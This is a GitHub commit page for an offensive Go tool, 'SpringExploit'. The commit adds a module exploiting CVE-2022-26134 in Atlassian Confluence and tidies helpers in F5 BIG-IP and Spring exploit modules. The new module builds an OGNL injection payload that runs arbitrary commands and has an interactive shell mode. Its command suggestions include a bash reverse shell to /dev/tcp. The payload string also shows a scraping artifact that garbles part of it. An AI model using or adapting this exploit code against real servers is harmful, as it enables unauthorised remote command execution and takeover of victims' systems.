Skip to content

Commit aeb69fa

Browse files
committed
🚂 增加CVE-2022-26134 && 修改部分代码
1 parent 3b32cb6 commit aeb69fa

18 files changed

+445
-90
lines changed

README.md

+1
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@
2020
* [x] 添加支持CVE-2022-22947 (Spring Cloud Gateway SpELRCE)
2121
* [x] 添加支持CVE-2022-22963 (Spring Cloud Function SpEL RCE)
2222
* [x] 添加支持CVE-2021-26084 (Atlassian Confluence RCE)
23+
* [x] 添加支持CVE-2022-26134 (Atlassian Confluence Unauth RCE)
2324
* [x] 添加支持CVE-2022-22965 (Spring Core RCE)
2425
* [x] 添加支持CVE-2022-1388 (F5 BIG-IP RCE)
2526
* [x] 自定义并发

cmd/commons/attack/Pocslist.go

+2
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ const (
77

88
// 2022年list
99

10+
CVE202226134 string = "CVE202226134"
1011
CVE202222963 string = "CVE202222963"
1112
CVE202222965 string = "CVE202222965"
1213
CVE202222947 string = "CVE202222947"
@@ -24,6 +25,7 @@ func GetList() *list.List {
2425
l.PushBack(ISAlIVEURL)
2526

2627
// 2022年漏洞
28+
l.PushBack(CVE202226134)
2729
l.PushBack(CVE202222963)
2830
l.PushBack(CVE202222965)
2931
l.PushBack(CVE202222947)

cmd/commons/attack/attack.go

+1
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,7 @@ func addPoc(pocs map[string]interface{}) map[string]interface{} {
3434

3535
// TODO 添加 2022 poc
3636
//pocs["demo"] = &poc.Demo{}
37+
pocs["CVE202226134"] = &_022.CVE202226134{}
3738
pocs["CVE202222947"] = &_022.CVE202222947{}
3839
pocs["CVE202222963"] = &_022.CVE202222963{}
3940
pocs["CVE202222965"] = &_022.CVE202222965{}

cmd/commons/core/options.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,7 @@ func ParseOptions() *Options {
6868
flag.BoolVar(&options.Verbose, "verbose", false, "show verbose")
6969
flag.BoolVar(&options.SP, "sp", false, "show pocs list")
7070
flag.StringVar(&options.LogFile, "log", "", "log file example: -log=/logs/logs.txt")
71-
flag.IntVar(&options.Retry, "retry", 3, "repeat request times")
71+
flag.IntVar(&options.Retry, "retry", 1, "repeat request times")
7272
//flag.StringVar(&options.IP, "i", "", "ip segment example: -ip=192.168.0.1/24 ")
7373
flag.IntVar(&options.Timeout, "timeout", 10, "timeout")
7474
flag.StringVar(&options.Out, "o", "result.txt", "out file example: -o=result.txt default result.txt")

cmd/commons/poc/2021/CVE-2021-22986.go

+2-2
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ func (t CVE202122986) SendPoc(target string, hashmap map[string]interface{}) {
4545

4646
randstr := utils.GetCode(10)
4747
log.Debugf("[+] randstr: %s", randstr)
48-
base64str := utils.EncodeString(randstr)
48+
base64str := utils.EncodeBase64String(randstr)
4949
log.Debugf("[+] base64str: %s", base64str)
5050

5151
reqmap["body"] = "{\"command\":\"run\",\"utilCmdArgs\":\"-c 'echo " + base64str + " | base64 -d'\"}"
@@ -76,7 +76,7 @@ func (t CVE202122986) SendPoc(target string, hashmap map[string]interface{}) {
7676
log.Errorf("[-] Unmarshal error: %s", err)
7777
return
7878
}
79-
log.Info("命令执行结果: " + utils.DecodeString(txtmap["commandResult"].(string)))
79+
log.Info("命令执行结果: " + utils.DecodeBase64String(txtmap["commandResult"].(string)))
8080
log.Info("[+] End CVE-2021-22986 shell")
8181
}
8282

cmd/commons/poc/2022/CVE-2022-1388.go

+2-2
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ func (t CVE20221388) SendPoc(target string, hashmap map[string]interface{}) {
4444

4545
randstr := utils.GetCode(10)
4646
log.Debugf("[+] randstr: %s", randstr)
47-
base64str := utils.EncodeString(randstr)
47+
base64str := utils.EncodeBase64String(randstr)
4848
log.Debugf("[+] base64str: %s", base64str)
4949

5050
reqmap["body"] = "{\"command\":\"run\",\"utilCmdArgs\":\"-c 'echo " + base64str + " | base64 -d'\"}"
@@ -75,7 +75,7 @@ func (t CVE20221388) SendPoc(target string, hashmap map[string]interface{}) {
7575
log.Errorf("[-] Unmarshal error: %s", err)
7676
return
7777
}
78-
log.Info("命令执行结果: " + utils.DecodeString(txtmap["commandResult"].(string)))
78+
log.Info("命令执行结果: " + utils.DecodeBase64String(txtmap["commandResult"].(string)))
7979
log.Info("[+] End CVE-2022-1388 shell")
8080
}
8181

cmd/commons/poc/2022/CVE-2022-22947.go

+2-2
Original file line numberDiff line numberDiff line change
@@ -120,7 +120,7 @@ func (CVE202222947) init() {
120120

121121
}
122122

123-
// 检查是否成功
123+
// CheckExp 检查是否成功
124124
func (p CVE202222947) CheckExp(resp *req.Response, url string, hashmap map[string]interface{}) bool {
125125
defer func() {
126126
if err := recover(); err != nil {
@@ -130,7 +130,7 @@ func (p CVE202222947) CheckExp(resp *req.Response, url string, hashmap map[strin
130130
log.Debug(resp)
131131
res := resp.Dump()
132132
file := hashmap["Out"].(string)
133-
y := utils.EncodeString("route_id")
133+
y := utils.EncodeBase64String("route_id")
134134

135135
log.Debugf("[+] res:%s", res)
136136
if strings.Contains(res, "route_id") {
+89
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
package _022
2+
3+
import (
4+
"fmt"
5+
req2 "github.com/SummerSec/SpringExploit/cmd/commons/req"
6+
resp2 "github.com/SummerSec/SpringExploit/cmd/commons/resp"
7+
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
8+
"github.com/c-bata/go-prompt"
9+
"github.com/imroc/req/v3"
10+
log "github.com/sirupsen/logrus"
11+
)
12+
13+
type CVE202226134 struct{}
14+
15+
func (t CVE202226134) SendPoc(target string, hashmap map[string]interface{}) {
16+
17+
reqmap := req2.NewReqInfoToMap(hashmap)
18+
reqmap["method"] = "GET"
19+
headers := map[string]string{
20+
"User-Agent": utils.GetUA(),
21+
"Accept": "*/*",
22+
"Accept-Encoding": "gzip, deflate",
23+
}
24+
reqmap["headers"] = headers
25+
26+
randStr := utils.GetCode(10)
27+
cmd := "echo " + randStr
28+
//cmd := "echo%20" + randStr + "%7c%62%61%73%65%36%34%20%2d%64"
29+
//cmd = "ifconfig"
30+
if hashmap["Shell"].(bool) {
31+
log.Info("[+] Start CVE-2022-26134 Shell Mode")
32+
th := prompt.Input("[+] Please input command: ", t.completer)
33+
if th == "" {
34+
th = "whoami"
35+
}
36+
cmd = th
37+
}
38+
payload := fmt.Sprintf("${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(\"%s\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))}", cmd)
39+
payload, _ = req2.Encode(payload, "utf8")
40+
target1 := target + payload + "/"
41+
42+
//log.Debug("[+] Target: ", target)
43+
reqmap["url"] = target1
44+
45+
resp := utils.Send(reqmap)
46+
47+
res := resp2.HandlerRespHeader(resp, "X-Cmd-Response")
48+
if t.CheckExp(resp, target1, hashmap) {
49+
if res != "" {
50+
//res = utils.DecodeBase64String(res)
51+
log.Infof("[+] Success CVE-2022-26134 %s", target)
52+
if hashmap["Shell"].(bool) {
53+
log.Infof("[+] 命令执行结果: %s", res)
54+
log.Info("[+] End CVE-2022-26134 shell")
55+
} else {
56+
result := fmt.Sprintf(" %s 存在 CVE-2022-26134 漏洞, 可以使用 SpringExploit -u %s -p CVE202226134 -shell 进入交互式执行命令", target1, target1)
57+
t.SaveResult(result, hashmap["Out"].(string))
58+
}
59+
}
60+
}
61+
62+
}
63+
64+
func (CVE202226134) SaveResult(target string, file string) {
65+
log.Info(target)
66+
err := utils.SaveToFile(target, file)
67+
if err != nil {
68+
log.Debugf("[-] Save result error: %s %s", target, err)
69+
return
70+
}
71+
}
72+
73+
func (CVE202226134) CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool {
74+
75+
if !resp.IsSuccess() {
76+
return true
77+
} else {
78+
return false
79+
}
80+
81+
}
82+
83+
func (t CVE202226134) completer(d prompt.Document) []prompt.Suggest {
84+
s := []prompt.Suggest{
85+
{Text: "id", Description: "you can type command {id}"},
86+
{Text: "bash", Description: "you can type command bash -c $@|bash 0 echo bash -i >& /dev/tcp/127.0.0.1/8090 0>&1"},
87+
}
88+
return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true)
89+
}

cmd/commons/req/request.go

+72-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
package req
22

3-
import "github.com/fatih/structs"
3+
import (
4+
"github.com/fatih/structs"
5+
)
46

57
type ReqInfo struct {
68
Method string
@@ -134,3 +136,72 @@ func NewReqInfoToMap(hashmap map[string]interface{}) map[string]interface{} {
134136

135137
return reqmap
136138
}
139+
140+
//// UrlEncode 将传入的url进行url编码
141+
//func UrlEncode(target string) string {
142+
//
143+
// // 对传入的字符串进行UrlEncode
144+
//
145+
// target = escape(target)
146+
//
147+
// return target
148+
//
149+
//}
150+
//
151+
//const upperhex = "0123456789ABCDEF"
152+
//
153+
//func escape(s string, ) string {
154+
// spaceCount, hexCount := 0, 0
155+
// for i := 0; i < len(s); i++ {
156+
// c := s[i]
157+
//
158+
// if c == ' ' {
159+
// spaceCount++
160+
// } else {
161+
// hexCount++
162+
// }
163+
//
164+
// }
165+
//
166+
// if spaceCount == 0 && hexCount == 0 {
167+
// return s
168+
// }
169+
//
170+
// var buf [64]byte
171+
// var t []byte
172+
//
173+
// required := len(s) + 2*hexCount
174+
// if required <= len(buf) {
175+
// t = buf[:required]
176+
// } else {
177+
// t = make([]byte, required)
178+
// }
179+
//
180+
// if hexCount == 0 {
181+
// copy(t, s)
182+
// for i := 0; i < len(s); i++ {
183+
// if s[i] == ' ' {
184+
// t[i] = '+'
185+
// }
186+
// }
187+
// return string(t)
188+
// }
189+
//
190+
// j := 0
191+
// for i := 0; i < len(s); i++ {
192+
// switch c := s[i]; {
193+
// case c == ' ':
194+
// t[j] = '+'
195+
// j++
196+
// case true:
197+
// t[j] = '%'
198+
// t[j+1] = upperhex[c>>4]
199+
// t[j+2] = upperhex[c&15]
200+
// j += 3
201+
// default:
202+
// t[j] = s[i]
203+
// j++
204+
// }
205+
// }
206+
// return string(t)
207+
//}

0 commit comments

Comments
 (0)